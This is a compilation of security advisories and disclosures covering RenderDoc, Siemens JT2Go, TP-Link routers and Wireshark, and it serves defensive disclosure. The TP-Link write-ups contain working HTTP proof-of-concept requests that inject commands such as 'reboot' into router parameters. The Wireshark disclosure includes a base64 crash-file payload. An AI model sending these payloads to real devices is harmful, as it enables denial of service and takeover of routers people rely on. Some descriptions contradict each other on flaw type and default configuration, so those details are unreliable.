RenderDoc versions 1.26 and below suffer from integer underflow, integer overflow, and symlink vulnerabilities.

RenderDoc 1.26 Local Privilege Escalation / Remote Code Execution


Delta Electronics' CNCSoft-B DOPSoft versions 1.0.0.4 and prior are 
vulnerable to stack-based buffer overflow, which could allow an attacker
 to execute arbitrary code.



CVE-2023-25177

The APDFL.dll contains a memory corruption vulnerability while parsing 
specially crafted PDF files. This could allow an attacker to execute 
code in the context of the current process. 



SSA-629917: Datalogics File Parsing Vulnerability in Teamcenter Visualization and JT2Go

Publication Date:

2023-04-11

Last Update:

2023-04-11

Current Version:

V1.0

CVSS v3.1 Base Score:

7.8

SUMMARY

Siemens Teamcenter Visualization and JT2Go are affected by a memory corruption vulnerability in the APDFL library from Datalogics. If a user is tricked to open a malicious PDF file with the affected products, this could lead the application to crash or potentially lead to arbitrary code execution.

Siemens has released updates for the affected products and recommends to update to the latest versions.

WORKAROUNDS AND MITIGATIONS

Siemens has identified the following specific workarounds and mitigations that customers can apply to reduce the risk:

*   Avoid to open untrusted files in JT2Go and Teamcenter Visualization

Product-specific remediations or mitigations can be found in the section Affected Products and Solution.  
Please follow the General Security Recommendations.

GENERAL SECURITY RECOMMENDATIONS

As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

PRODUCT DESCRIPTION

JT2Go is a 3D JT viewing tool to allow users to view JT, PDF, Solid Edge, PLM XML with available JT, VFZ, CGM, and TIF data.

Teamcenter Visualization software enables enterprises to enhance their product lifecycle management (PLM) environment with a comprehensive family of visualization solutions. The software enables enterprise users to access documents, 2D drawings and 3D models in a single environment.

VULNERABILITY CLASSIFICATION

The vulnerability classification has been performed by using the CVSS scoring system in version 3.1 (CVSS v3.1) (https://www.first.org/cvss/). The CVSS environmental score is specific to the customer’s environment and will impact the overall CVSS score. The environmental score should therefore be individually defined by the customer to accomplish final scoring.

An additional classification has been performed using the CWE classification, a community-developed list of common software security weaknesses. This serves as a common language and as a baseline for weakness identification, mitigation, and prevention efforts. A detailed list of CWE classes can be found at: https://cwe.mitre.org/.

Vulnerability CVE-2023-1709

The APDFL.dll contains a memory corruption vulnerability while parsing specially crafted PDF files. This could allow an attacker to execute code in the context of the current process.

CVSS v3.1 Base Score

7.8

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C

CWE

CWE-121: Stack-based Buffer Overflow

ACKNOWLEDGMENTS

Siemens thanks the following party for its efforts:

*   Michael Heinzl for coordinated disclosure

HISTORY DATA

V1.0 (2023-04-11):

Publication date

TERMS OF USE

Siemens Security Advisories are subject to the terms and conditions contained in Siemens’ underlying license terms or other applicable agreements previously agreed to with Siemens (hereinafter "License Terms"). To the extent applicable to information, software or documentation made available in or through a Siemens Security Advisory, the Terms of Use of Siemens’ Global Website (https://www.siemens.com/ terms\_of\_use, hereinafter "Terms of Use"), in particular Sections 8-10 of the Terms of Use, shall apply additionally. In case of conflicts, the License Terms shall prevail over the Terms of Use.

CVE-2023-1709: SSA-629917

RenderDoc through 1.26 allows an Integer Overflow with a resultant Buffer Overflow (issue 1 of 2).

CVE-2023-33863

TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a buffer overflow via the component /userRpm/WlanMacFilterRpm.

**TP-Link TL-WR940N/TL-WR841N/TL-WR740N wireless router /userRpm/WlanMacFilterRpm buffer read out-of-bounds vulnerability****1 Basic Information**

*   Vulnerability Type: Buffer read out-of-bounds
*   Vulnerability Description: A buffer overflow vulnerability exists in TP-Link TL-WR940N V2/V4、TL-WR841N V8/V10 and TL-WR740N V1/V2 wireless router. Its /userRpm/WlanMacFilterRpm component has a security vulnerability in processing Mac GET key parameters, allowing remote attackers to submit special requests through the vulnerability, causing buffer out-of-bounds read errors, which may lead to memory-sensitive information leakage and denial of service.
*   Device model:
    *   TP-Link TL-WR940N V2/V4、TP-Link TL-WR841N V8/V10、TP-Link TL-WR740N V1/V2

**2 Vulnerability Value**

*   Maturity of Public Information: None
    
*   Order of Public Vulnerability Analysis Report: None
    
*   Stable reproducibility: yes
    
*   Vulnerability Score (refer to CVSS)
    
    *   V2：7.1 High AV:N/AC:H/Au:S/C:C/I:C/A:C
    *   V3.1：8.6 High AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
*   Exploit Conditions
    
    *   Attack Vector Type: Network
    *   Attack Complexity: Low
    *   Complexity of Exploit
        *   Permission Constraints: authentication is required
        *   User Interaction: No victim interaction required
    *   Scope of Impact: Changed (may affect other components than vulnerable ones)
    *   Impact Indicators:
        *   Confidentiality: High
        *   Integrity: High
        *   Availability: High
    *   Stability of vulnerability exploitation: Stable recurrence
    *   Whether the product default configuration: There are vulnerabilities in functional components that are enabled out of the factory
*   Exploit Effect
    
    *   Denial of Service

**3 PoC**

The PoC of TP-Link WR940N V4 is as follows:

GET /LVHFBYIBSYXBAXRA/userRpm/WlanMacFilterRpm.htm?Mac;CMD=$'reboot';$CMD=1C-BF-C0-7A-E0-03&Desc=&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/LVHFBYIBSYXBAXRA/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1&vapIdx=
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR940N V2 is as follows:

GET /CAKDBATBHJTUFMRC/userRpm/WlanMacFilterRpm.htm?|=00-1D-0F-11-22-33&Desc=123&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/KMODQNKANSQJBYFA/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1&vapIdx=
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR841N V8 is as follows:

GET /userRpm/WlanMacFilterRpm.htm?Mac?=78-2B-46-90-5c-67&Desc=rwsef&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save HTTP/1.1
Host: 0.0.0.0:49168
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://0.0.0.0:49168/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1&vapIdx=
Cookie: Authorization=
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR841N V10 is as follows:

GET /OTRRRRDAFITRVSAA/userRpm/WlanMacFilterRpm.htm?MacCMD=$"reboot";$CMD=1C-BF-C0-7A-E0-04&Desc=des&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/BMKHACLAYMEWMEQA/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1&vapIdx=
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR740N is as follows:

GET /userRpm/WlanMacFilterRpm.htm?Mac;reboot|=00-16-EA-AE-3C-40&Desc=a&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.1.1/userRpm/WlanMacFilterRpm.htm?Add=Add&Page=1
Upgrade-Insecure-Requests: 1

**4 Vulnerability Principle**

When the Web management component receives a GET request, its /userRpm/WlanMacFilterRpm component has a security vulnerability in processing the Mac address GET key parameter. The Mac parameter itself is put into the stack without being checked, resulting in a denial of service. Attackers exploit this vulnerability to construct Mac parameters, causing buffer out-of-bounds read errors, which may lead to memory-sensitive information disclosure and denial of service. Attackers can use this vulnerability to directly achieve the effect of denial of service attacks.

The firmware simulation process and interface are as follows:

After sending the constructed PoC, the cache area read out of bounds and a BadVA error occurred, resulting in denial of service.

**5\. The basis for judging as a 0-day vulnerability**

Searching the WlanMacFilterRpm keyword in the NVD database did not find any vulnerabilities; searching the firmware model + parameter Mac keyword in the NVD database did not find any vulnerabilities, so it is considered a 0-day vulnerability.

CVE-2023-33536: iotvul/TL-WR940N_TL-WR841N_TL-WR740N_userRpm_WlanMacFilterRpm.md at main · a101e-IoTvul/iotvul

TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a buffer overflow via the component /userRpm/FixMapCfgRpm.

**TP-Link TL-WR940N/TL-WR841N/TL-WR740N wireless router /userRpm/FixMapCfgRpm buffer read out-of-bounds vulnerability****1 Basic Information**

*   Vulnerability Type: Buffer read out-of-bounds
*   Vulnerability Description: A buffer read out-of-bounds vulnerability exists in TP-Link TL-WR940N V2/V4、TL-WR841N V8/V10 and TL-WR740N V1/V2 wireless router. Its /userRpm/FixMapCfgRpm component has a security vulnerability in processing Changed GET key parameters, allowing remote attackers to submit special requests through the vulnerability, causing buffer out-of-bounds read errors, which may lead to memory-sensitive information leakage and denial of service.
*   Device model:
    *   TP-Link TL-WR940N V2/V4、TP-Link TL-WR841N V8/V10、TP-Link TL-WR740N V1/V2

**2 Vulnerability Value**

*   Maturity of Public Information: None
    
*   Order of Public Vulnerability Analysis Report: None
    
*   Stable reproducibility: yes
    
*   Vulnerability Score (refer to CVSS)
    
    *   V2：7.1 High AV:N/AC:H/Au:S/C:C/I:C/A:C
    *   V3.1：8.6 High AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
*   Exploit Conditions
    
    *   Attack Vector Type: Network
    *   Attack Complexity: Low
    *   Complexity of Exploit
        *   Permission Constraints: authentication is required
        *   User Interaction: No victim interaction required
    *   Scope of Impact: Changed (may affect other components than vulnerable ones)
    *   Impact Indicators:
        *   Confidentiality: High
        *   Integrity: High
        *   Availability: High
    *   Stability of vulnerability exploitation: Stable recurrence
    *   Whether the product default configuration: There are vulnerabilities in functional components that are enabled out of the factory
*   Exploit Effect
    
    *   Denial of Service

**3 PoC**

The PoC of TP-Link WR940N V4 is as follows:

GET /IFQHAXBBGJZJOIIA/userRpm/FixMapCfgRpm.htm?Mac=1C-BF-C0-7A-E0-03&Ip=192.168.2.139&State=1&Changed||CMD=$"reboot";$CMD=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/IFQHAXBBGJZJOIIA/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR940N V2 is as follows:

GET /DTLZRKGAQEMSCUNA/userRpm/FixMapCfgRpm.htm?Mac=00-1D-0F-11-22-33&Ip=192.168.0.2&State=1&;=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/KMODQNKANSQJBYFA/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR841N V8 is as follows:

GET /userRpm/FixMapCfgRpm.htm?Mac=78-2B-46-90-5c-67&Ip=192.168.0.3&State=1&Changed|reboot=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 0.0.0.0:49168
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://0.0.0.0:49168/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Cookie: Authorization=
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR841N V10 is as follows:

GET /PTSGMLKAISLZRVGB/userRpm/FixMapCfgRpm.htm?Mac=1C-BF-C0-7A-E0-04&Ip=192.168.3.1&State=1&;CMD=$'reboot';$CMD=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/BMKHACLAYMEWMEQA/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR740N is as follows:

GET /userRpm/FixMapCfgRpm.htm?Mac=00-16-EA-AE-3C-40&Ip=192.168.0.3&State=1&Changed;reboot=0&SelIndex=0&Page=1&Save=Save HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.1.1/userRpm/FixMapCfgRpm.htm?Add=Add&Page=1
Upgrade-Insecure-Requests: 1

**4 Vulnerability Principle**

When the Web management component receives a GET request, its /userRpm/FixMapCfgRpm component has a security vulnerability in processing the Changed GET key parameter. The Changed parameter itself is put into the stack without being checked, resulting in a denial of service. An attacker exploits this vulnerability to construct a payload of the Changed parameter, so that the carefully constructed parameter causes a buffer out-of-bounds read error, which may lead to the disclosure of memory-sensitive information and denial of service. Attackers can directly achieve the effect of denial of service by exploiting this vulnerability.

The firmware simulation process and interface are as follows:

After sending the constructed PoC, the cache area read out of bounds and a BadVA error occurred, resulting in denial of service.

**5\. The basis for judging as a 0-day vulnerability**

Searching the FixMapCfgRpm keyword in the NVD database did not find any vulnerabilities; searching the firmware model + parameter Changed keyword in the NVD database did not find any vulnerabilities, so it is considered a 0-day vulnerability.

CVE-2023-33537: iotvul/TL-WR940N_TL-WR841N_TL-WR740N_userRpm_FixMapCfgRpm.md at main · a101e-IoTvul/iotvul

Due to failure in validating the length provided by an attacker-crafted MSMMS packet, Wireshark version 4.0.5 and prior, in an unusual configuration, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark

Skip to content

Open Issue created May 18, 2023 by **Gerald Combs@geraldcombs**Owner

**MSMMS parsing buffer overflow**

AHA! has discovered an issue with Wireshark, and is issuing this disclosure in accordance with AHA!'s standard disclosure policy on 2023-05-16. CVE-2023-0667 has been assigned to this issue. Any questions about this disclosure should be directed to cve@takeonme.org.

**Executive Summary**

Due to failure in validating the length provided by an attacker-crafted MSMMS packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark. CVE-2023-0667 appears to be an instance of CWE-122.

**Technical Details**

On line 391, a command id is retrieved from the packet at 0x24.

/wireshark/epan/dissectors/packet-ms-mms.c

     388
     389     /* Read command ID and direction now so can give common command header a
     390        descriptive label */
     391     command_id = tvb_get_letohs(tvb, 36);
     392     command_dir = tvb_get_letohs(tvb, 36+2);
     393
     394
     395     /*************************/
     396     /* Common command header */

Then on line 441 a length is retrieved from the msmms packet payload. In our crash file, this length value is 0x4.

/wireshark/epan/dissectors/packet-ms-mms.c

     436     /* Timestamp */
     437     proto_tree_add_item(msmms_common_command_tree, hf_msmms_command_timestamp, tvb, offset, 8, ENC_LITTLE_ENDIAN);
     438     offset += 8;
     439
     440     /* Another length remaining field... */
     441     length_remaining = tvb_get_letohl(tvb, offset);
     442     proto_tree_add_item(msmms_common_command_tree, hf_msmms_command_length_remaining2, tvb, offset, 4, ENC_LITTLE_ENDIAN);
     443     offset += 4;
     444

Following, on line 471, the length is multiplied by 8, then 8 is subtracted from the new total leaving a value of 0x18 (24).

/wireshark/epan/dissectors/packet-ms-mms.c

     461     /* Show summary in info column */
     462     col_append_fstr(pinfo->cinfo, COL_INFO,
     463                     "seq=%03u: %s %s",
     464                     sequence_number,
     465                     (command_dir == TO_SERVER) ? "-->" : "<--",
     466                     (command_dir == TO_SERVER) ?
     467                         val_to_str_const(command_id, to_server_command_vals, "Unknown") :
     468                         val_to_str_const(command_id, to_client_command_vals, "Unknown"));
     469
     470     /* Adjust length_remaining for command-specific details */
     471     length_remaining = (length_remaining*8) - 8;
     472

Following the length remaining calculation, the command_id retrieved earlier is used to determine the command type and on line 480, the dissect_client_transport_info is called

/wireshark/epan/dissectors/packet-ms-mms.c

     473     /* Now parse any command-specific params */
     474     if (command_dir == TO_SERVER)
     475     {
     476         /* Commands to server */
     477         switch (command_id)
     478         {
     479             case SERVER_COMMAND_TRANSPORT_INFO:
     480                 dissect_client_transport_info(tvb, pinfo, msmms_tree,
     481                                               offset, length_remaining);
     482                 break;

Entering the dissect_client_transport_info function, the length_remaining is 24 and the offset is 40. /wireshark/epan/dissectors/packet-ms-mms.c

     715 static void dissect_client_transport_info(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree,
     716                                           guint offset, guint length_remaining)
     717 {
     718     char    *transport_info;
     719     guint   ipaddr[4];
     720     char    protocol[3+1] = "";
     721     guint   port;
     722     int     fields_matched;
     723

On line 736, the length_remaining (at this point still equalling 24, has 20 subtracted from it, leaving 4 and then being passed as the length value to the tvb_get_string_enc function and the offset value equalling 60.

/wireshark/epan/dissectors/packet-ms-mms.c

     734
     735     /* Extract and show the string in tree and info column */
     736     transport_info = tvb_get_string_enc(pinfo->pool, tvb, offset, length_remaining - 20, ENC_UTF_16|ENC_LITTLE_ENDIAN);
     737
     738     proto_tree_add_string_format(tree, hf_msmms_command_client_transport_info, tvb,
     739                                  offset, length_remaining-20,
     740                                  transport_info, "Transport: (%s)", transport_info);
     741
     742     col_append_fstr(pinfo->cinfo, COL_INFO, " (%s)",
     743                     format_text(pinfo->pool, (guchar*)transport_info, length_remaining - 20));
     744
     745
     746     /* Try to extract details from this string */
     747     fields_matched = sscanf(transport_info, "%*c%*c%u.%u.%u.%u%*c%3s%*c%u",
     748                             &ipaddr[0], &ipaddr[1], &ipaddr[2], &ipaddr[3],
     749                             protocol, &port);

tvb_get_utf_16_string then calls get_utf_16_string, passing the length value (4).

/wireshark/epan/tvbuff.c

    2840 static guint8 *
    2841 tvb_get_utf_16_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint length, const guint encoding)
    2842 {
    2843         const guint8  *ptr;
    2844
    2845         ptr = ensure_contiguous(tvb, offset, length);
    2846         return get_utf_16_string(scope, ptr, length, encoding);
    2847 }

Following the above, in get_utf_16_string on line 745, the strbuf variable is initialized through the wmem_strbuf_new_sized call.

/wireshark/epan/charsets.c

     738 get_utf_16_string(wmem_allocator_t *scope, const guint8 *ptr, gint length, const guint encoding)
     739 {
     740     wmem_strbuf_t *strbuf;
     741     gunichar2      uchar2, lead_surrogate;
     742     gunichar       uchar;
     743     gint           i;       /* Byte counter for string */
     744
     745     strbuf = wmem_strbuf_new_sized(scope, length+1);
     746
     747     for(i = 0; i + 1 < length; i += 2) {
     748         if (encoding == ENC_BIG_ENDIAN)
     749             uchar2 = pntoh16(ptr + i);
     750         else
     751             uchar2 = pletoh16(ptr + i);
     752

In the wmem_strbuf_new_sized function, the strbuf is initially allocated with an 0x10 size.

wireshark/wsutil/wmem/wmem_strbuf.c

     30 wmem_strbuf_t *
     31 wmem_strbuf_new_sized(wmem_allocator_t *allocator,
     32                       size_t alloc_size)
     33 {
     34     wmem_strbuf_t *strbuf;
     35
     36     strbuf = wmem_new(allocator, wmem_strbuf_t);
     37
     38     strbuf->allocator = allocator;
     39     strbuf->len       = 0;
     40     strbuf->alloc_size = alloc_size ? alloc_size : DEFAULT_MINIMUM_SIZE;
     41
     42     strbuf->str    = (gchar *)wmem_alloc(strbuf->allocator, strbuf->alloc_size);
     43     strbuf->str[0] = '\0';
     44
     45     return strbuf;
     46 }

Then, back in get_utf_16_string function, we enter the for loop which helps determine the size of strbuf. In the attached crash this for loop is iterated through twice both times going through line 777 and hitting the wmem_strbuf_append_unichar function.

wireshark/epan/charsets.c

     747     for(i = 0; i + 1 < length; i += 2) {
     748         if (encoding == ENC_BIG_ENDIAN)
     749             uchar2 = pntoh16(ptr + i);
     750         else
     751             uchar2 = pletoh16(ptr + i);
     752
     753         if (IS_LEAD_SURROGATE(uchar2)) {
     754             /*
     755              * Lead surrogate.  Must be followed by
     756              * a trail surrogate.
     757              */
     758             i += 2;
     759             if (i + 1 >= length) {
     760                 /*
     761                  * Oops, string ends with a lead surrogate.
     762                  *
     763                  * Insert a REPLACEMENT CHARACTER to mark the error,
     764                  * and quit.
     765                  */
     766                 wmem_strbuf_append_unichar(strbuf, UNREPL);
     767                 break;
     768             }
     769             lead_surrogate = uchar2;
     770             if (encoding == ENC_BIG_ENDIAN)
     771                 uchar2 = pntoh16(ptr + i);
     772             else
     773                 uchar2 = pletoh16(ptr + i);
     774             if (IS_TRAIL_SURROGATE(uchar2)) {
     775                 /* Trail surrogate. */
     776                 uchar = SURROGATE_VALUE(lead_surrogate, uchar2);
     777                 wmem_strbuf_append_unichar(strbuf, uchar);
     778             } else {

Each call to wmem_strbuf_append_unichar incrementing the strbuf->len value (leaving a length of 2).

\`wireshark/wsutil/wmem/wmem\_strbuf.c

    234 wmem_strbuf_append_unichar(wmem_strbuf_t *strbuf, const gunichar c)
    235 {
    236     gchar buf[6];
    237     size_t charlen;
    238
    239     charlen = g_unichar_to_utf8(c, buf);
    240
    241     wmem_strbuf_grow(strbuf, charlen);
    242
    243     memcpy(&strbuf->str[strbuf->len], buf, charlen);
    244     strbuf->len += charlen;
    245     strbuf->str[strbuf->len] = '\0';
    246 }

Finally, at the bottom of the loop within get_utf_16_string, the wmem_strbuf_finalize function is called.

/wireshark/epan/charsets.c

     804     }
     805
     806     /*
     807      * If i < length, this means we were handed an odd number of bytes,
     808      * so we're not a valid UTF-16 string; insert a REPLACEMENT CHARACTER
     809      * to mark the error.
     810      */
     811     if (i < length)
     812         wmem_strbuf_append_unichar(strbuf, UNREPL);
     813     return (guint8 *) wmem_strbuf_finalize(strbuf);
     814 }

The wmem_strbuf_finalize() function then calls wmem_realloc() setting the size of the strbuf->str buffer to strbuf->len+1 (equalling 3)

wireshark/wsutil/wmem/wmem_strbuf.c

    382 char *
    383 wmem_strbuf_finalize(wmem_strbuf_t *strbuf)
    384 {
    385     if (strbuf == NULL)
    386         return NULL;
    387
    388     char *ret = (char *)wmem_realloc(strbuf->allocator, strbuf->str, strbuf->len+1);
    389
    390     wmem_free(strbuf->allocator, strbuf);
    391
    392     return ret;
    393 }

Following the above, a ptr to the buffer is returned to the dissect_client_transport_info function where it is later used with the length of 4 bytes allowing for a 1 byte read within the format_text function.

Base64'd blob of the proof of concept. Note that this must be run with fuzzshark as tshark will not crash:

    Ex4JdM76C7DO+guwTU1TDXr/igDv/9+KigEAAA0BAAAEAAAAAgADAAAAAAAAAAABNAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2wAa29vb29vb29vbEz4JAc4H

**Attacker Value**

Passing the above blob to fuzzshark will trigger a heap overflow, and any crash in fuzzshark is necessarily is a bug in Wireshark library code, including the Wireshark GUI application and TShark, as they all hit the same code paths. Therefore, we're confident that a specially crafted MSMSS packet that implements this crash behavior is almost certainly exploitable, but we would like to have confirmation from the vendor on the exploitability before assigning this CVE ID.

**Credit**

This issue is being disclosed through the AHA! CNA and is credited to: zenofex and WanderingGlitch

**Timeline**

*   2023-04-27 (Wed): Initial findings presented at the regularly scheduled AHA! meeting.
*   2023-05-17 (Wed): PoC validated and anaylsis completed for disclosure.
*   2023-05-18 (Thu): Disclosed to the vendor via email at security@wireshark.org.
*   ... time marches on ....
*   2023-07-17 (Mon): (Planned) Public disclosure at https://takeonme.org/cve/CVE-2023-0667.html

Reproducers:

cve-2023-0667.fuzz

cve-2023-0667.pcap

Edited May 18, 2023 by Gerald Combs

CVE-2023-0667: MSMMS parsing buffer overflow (#19086) · Issues · Wireshark Foundation / wireshark · GitLab

Due to failure in validating the length provided by an attacker-crafted RTPS packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark.

**CVE-2023-0666: Wireshark RTPS Parsing Buffer Overflow**

AHA! has discovered an issue with Wireshark from The Wireshark Foundation, and is issuing this disclosure in accordance with AHA!’s standard disclosure policy today, on Monday, June 5, 2023. CVE-2023-0666 has been assigned to this issue.

Any questions about this disclosure should be directed to **\[email protected\]**.

**Executive Summary**

Due to failure in validating the length provided by an attacker-crafted RTPS packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark. CVE-2023-0666 appears to be an instance of CWE-122.

**Technical Details**

The rtps_util_add_type_library_type function contains a call to g_strlcpy that, without validation, uses a length supplied by the packet data that can result in a heap-based buffer overflow.

Snippet of the vulnerable code:

      static gint rtps_util_add_type_library_type(proto_tree *tree,
              tvbuff_t * tvb, gint offset, const guint encoding, dissection_info *info) {
        proto_tree * annotation_tree;
        guint32 member_id = 0, member_length = 0, long_number, i;
        gint offset_tmp;
        guint16 short_number;
        gchar * name = NULL;
        rtps_util_dissect_parameter_header(tvb, &offset, encoding, &member_id, &member_length);
        offset_tmp = offset;
    /* ... */
        long_number = tvb_get_guint32(tvb, offset_tmp, encoding);
        name = tvb_get_string_enc(wmem_packet_scope(), tvb, offset_tmp+4, long_number, ENC_ASCII);
        if (info)
          (void) g_strlcpy(info->member_name, name, long_number);
    

The dissection_info struct is defined as:

      typedef struct _dissection_info {
        guint64 type_id;
        gint member_kind;
        guint64 base_type_id;
        guint32 member_length;
        gchar member_name[MAX_MEMBER_NAME];
    
        RTICdrTypeObjectExtensibility extensibility;
    
        gint32 bound;
        guint32 num_elements;
        dissection_element* elements;
    
      } dissection_info;
    

and MAX_MEMBER_NAME is defined as:

      #define MAX_MEMBER_NAME                 (256)
    

The overflow occurs when long_number is greater than 256 bytes however it should be noted that this does require that many bytes to have been sent.

g_strlcpy expects the size of the destination buffer as the last argument so this can be remediated by using sizeof(info->member_name) instead of long_number in the g_strlcpy call. Additionally, the return value should be checked because if it is greater than sizeof(info->member_name), then truncation occurred.

